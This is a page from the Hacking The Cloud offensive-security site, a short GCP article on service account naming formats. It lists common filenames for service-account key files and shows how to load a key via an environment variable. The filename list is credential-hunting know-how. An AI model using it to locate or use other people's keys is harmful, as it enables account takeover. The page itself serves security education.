2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1 checked> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=true> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Default Account Information </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Default Account Information </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#service-accounts class=md-nav__link> <span class=md-ellipsis> Service Accounts </span> </a> </li> <li class=md-nav__item> <a href=#default-service-account-filename-permutations class=md-nav__link> <span class=md-ellipsis> Default Service Account filename permutations: </span> </a> </li> <li class=md-nav__item> <a href=#application-based-service-account class=md-nav__link> <span class=md-ellipsis> Application-Based Service Account: </span> </a> </li> <li class=md-nav__item> <a href=#how-to-use-service-accounts class=md-nav__link> <span class=md-ellipsis> How to use Service Accounts </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#service-accounts class=md-nav__link> <span class=md-ellipsis> Service Accounts </span> </a> </li> <li class=md-nav__item> <a href=#default-service-account-filename-permutations class=md-nav__link> <span class=md-ellipsis> Default Service Account filename permutations: </span> </a> </li> <li class=md-nav__item> <a href=#application-based-service-account class=md-nav__link> <span class=md-ellipsis> Application-Based Service Account: </span> </a> </li> <li class=md-nav__item> <a href=#how-to-use-service-accounts class=md-nav__link> <span class=md-ellipsis> How to use Service Accounts </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Moses Frost (@mosesrenegade)</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/general-knowledge/default-account-names.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Default Account Information</h1> <h2 id=service-accounts>Service Accounts<a class=headerlink href=#service-accounts title="Permanent link">&para;</a></h2> <p><a href=https://cloud.google.com/iam/docs/service-accounts>Service accounts</a> are similar to Azure <a href=https://docs.microsoft.com/en-us/azure/active-directory/develop/app-objects-and-service-principals>Service Principals</a>. They can allow for programmatic access but also abuse. </p> <p><a href=https://cloud.google.com/iam/docs/creating-managing-service-account-keys>Information on Service Accounts</a></p> <p>User-Created Service Account: <code>service-account-name@project-id.iam.gserviceaccount.com</code></p> <p>Using the format above, you can denote the following items:</p> <ul> <li><code>service-account-name</code>: This will tell you potentially what services this is for: <code>Bigtable-sa</code> or <code>compute-sa</code></li> <li><code>project-id</code>: This will be the project identifier that the service account is for. You can set your <code>gcloud</code> configuration to this <code>project-id</code>. It will be numerical typically.</li> </ul> <h2 id=default-service-account-filename-permutations>Default Service Account filename permutations:<a class=headerlink href=#default-service-account-filename-permutations title="Permanent link">&para;</a></h2> <ul> <li><code>serviceaccount.json</code></li> <li><code>service_account.json</code></li> <li><code>sa-private-key.json</code></li> <li><code>service-account-file.json</code></li> </ul> <h2 id=application-based-service-account>Application-Based Service Account:<a class=headerlink href=#application-based-service-account title="Permanent link">&para;</a></h2> <ul> <li><code>project-id@appspot.gserviceaccount.com</code>: Ths would be <code>project-id</code> value for App Engine or anything leveraging App Engine.</li> <li><code>project-number-compute@developer.gserviceaccount.com</code>: This service account is for Compute Engine where the <code>project-number-compute</code> will be: <code>project-id</code>-<code>compute</code>. I.E. <code>1234567-compute</code>.</li> </ul> <h2 id=how-to-use-service-accounts>How to use Service Accounts<a class=headerlink href=#how-to-use-service-accounts title="Permanent link">&para;</a></h2> <p>In a BASH (or equivalent) shell: <code>export GOOGLE_APPLICATION_CREDENTIALS="/home/user/Downloads/service-account-file.json"</code></p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 2, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">May 29, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/mosesrenegade class=md-author title=@mosesrenegade> <img src="https://avatars.githubusercontent.com/u/944551?v=4&size=72" alt=mosesrenegade> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 